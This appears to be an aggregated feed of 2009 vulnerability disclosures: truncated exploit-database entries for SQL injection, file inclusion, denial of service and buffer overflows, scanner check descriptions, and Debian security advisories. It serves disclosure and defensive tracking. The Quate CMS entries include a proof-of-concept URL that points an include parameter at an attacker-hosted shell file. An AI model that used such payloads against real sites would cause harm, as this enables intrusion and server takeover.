Simplicity oF Upload 1.3.2 - Arbitrary File Upload

Exploit Title: Simplicity oF Upload 1.3.2 Remote File Upload Vulnerability Date: 20-12-2009 Author: Master Mind Software Link: http://www.phpsimplicity.com/scripts.php?id=3 Version: 1.3.2 CVE : N/A Tested on: Windows 2003 Server...

Active Photo Gallery 6.2 SQL Injection

? ?????????????????????????In The Name Of Allah The Mercifull?????????????????????? ? Tybe: Auth Bypass Remote SQL Injection Vulnerability‏ ? Vendor: www.activewebsoftwares.com ? ? Software: Active Photo Gallery v 6.2 ? ? author: R3d-D3v!L ? ? Date: 17.dec.2009 ? T!ME: 10:22 pm ? Home: WwW.xP10.M...

Mozilla crash with evidence of memory corruption

Multiple unspecified vulnerabilities in the browser engine in Mozilla Firefox before 3.0.16 and 3.5.x before 3.5.6, SeaMonkey before 2.0.1, and Thunderbird allow remote attackers to cause a denial of service memory corruption and application crash or possibly execute arbitrary code via unknown...

Article Directory - SQL Injection

Article Directory - SQL Injection ? ?????????????????????????In The Name Of Allah The Mercifull?????????????????????? ? Tybe:Auth Bypass Remote SQL Injection Vulnerability ? Vendor: www.yourarticlesdirectory.com ? ? Software: Article Directory 5cR!P7 ? ? author: R3d D3v!L ? ? Date: 15.12.2009 ? ?...

Savant Web Server Remote Buffer Overflow Vulnerability

A remote buffer-overflow vulnerability affects Savant Web Server. This issue occurs because the application fails to validate the length of user-supplied strings before copying them into finite process buffers. A remote attacker may leverage this issue to execute arbitrary code with the privilege...

Digital Scribe <= 1.4.1 Multiple SQLi Vulnerabilities - Active Check

Digital Scribe is prone to multiple SQL injection SQLi vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C b...

Alqatari group 1.0 5.0 - id SQL Injection

Alqatari group 1.0 5.0 - id SQL Injection 1337h4x0rZ //Rd / / / \ \ ============================================================================== ª Note : Hacker R0x Lamerz Sux ! ============================================================================== ª Alqatari group Version 1.0 == 5.0 id...

Alqatari Group 5.0 SQL Injection

1337h4x0rZ //Rd / / / \ \ ============================================================================== ª Note : Hacker R0x Lamerz Sux ! ============================================================================== ª Alqatari group Version 1.0 == 5.0 id Remote SQL Injection Vulnerability...

Quate CMS <= 0.3.5 (RFI/LFI) Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications ============================================================ Quate CMS PoC : http://target/path/admin/includes/header.php?securepagepath=http://attacker/shell.txt??? Vuln LFI : ./QuateCMS035/admin/includes/footer.php line 4 PoC :...

Quate CMS 0.3.5 Local / Remote File Inclusion

Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg Quate CMS PoC : http://target/path/admin/includes/header.php?securepagepath=http://attacker/shell.txt??? Vuln LFI : ./QuateCMS035/admin/includes/footer.php line 4 PoC :...

Joomla Component com_lyftenbloggie Remote SQL injection vulnerability

No description provided by source. Joomla Component comlyftenbloggie Remote SQL injection vulnerability - author Author : kaMtiEz [email protected] Homepage : http://www.indonesiancoder.com Date : November 11, 2009 Software Information + Vendor : http://www.lyften.com/ + Download :...

ISC BIND DNSSEC Query Response Additional Section Remote Cache Poisoning Vulnerability

ISC BIND is prone to a remote cache-poisoning vulnerability. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE = "cpe:/a:isc:bind";...

Joomla! Component com_gcalendar 1.1.2 - 'gcid' SQL Injection

\ \ / / / \ / | \ \ / / / \ / | / \ | \ | \ | | | \ | | | | | | | | |/ / \ V / | || | \ V / | - | | | - | | / | | | | | | / | | | | | . | | ' || / | || ||| | ||| ||\ |/ || ||\ || || ||| ||\ | """ ||"""""||"""""|| """...

[SECURITY] [DSA 1938-1] New php-mail packages fix insufficient input sanitising

------------------------------------------------------------------------ Debian Security Advisory DSA-1938-1 [email protected] http://www.debian.org/security/ Steffen Joeris November 23, 2009 http://www.debian.org/security/faq -...

Home FTP Server 1.10.1.139 - 'SITE INDEX' Remote Denial of Service

Exploit Title: Home FTP Server 1.10.1.139 'SITE INDEX' Command Remote Denial of Service Vulnerability Date: 16 Nov 09 Author: zhangmc Software Link: http://downstairs.dnsalias.net/files/HomeFtpServerInstall.exe Version: Home FTP Server 1.10.1.139 Tested on: relevant os Code : From: zhangmc mail...

Microsoft Word Record Parsing Remote Stack Buffer Overflow Vulnerability

Description Microsoft Word is prone to a remote stack-buffer overflow vulnerability. Attackers can exploit this issue by enticing victims into opening a specially crafted Word '.doc' file. Successful exploits can allow attackers to execute arbitrary code with the privileges of the user running th...

[SECURITY] [DSA 1925-1] New proftpd-dfsg packages fix SSL certificate verification weakness

------------------------------------------------------------------------ Debian Security Advisory DSA-1925-1 [email protected] http://www.debian.org/security/ Steffen Joeris October 31, 2009 http://www.debian.org/security/faq -...

Oracle Database CVE-2009-1018 Workspace Manager漏洞

Bugraq ID: 36765 CVE ID：CVE-2009-1018 Oracle Database是一款商业性质的大型数据库。 Oracle数据库Workspace Manager存在远程漏洞，此漏洞可通过'Oracle Net'协议利用，要成功利用此漏洞，攻击者必须拥有SYS.LTRIC WMSYS.LTRIC'特权。 目前没有详细漏洞细节提供。 Oracle Oracle10g Standard Edition 10.2.0.4 Oracle Oracle10g Personal Edition 10.2.0.4 Oracle Oracle10g Enterprise...

PT-2009-1066 · Libgd +3 · Gd +5

Name of the Vulnerable Software and Affected Versions: gd versions 2.0.28 through 2.0.33 gd-progs versions 2.0.28 through 2.0.33 gd-devel versions 2.0.28 through 2.0.33 PHP versions 5.2.11 and 5.3.x before 5.3.1 Description: The issue is related to the gdGetColors function in gd gd.c, which does...

[SECURITY] [DSA 1911-1] New pygresql packages provide secure escaping

------------------------------------------------------------------------ Debian Security Advisory DSA-1911-1 [email protected] http://www.debian.org/security/ Steffen Joeris October 14, 2009 http://www.debian.org/security/faq -...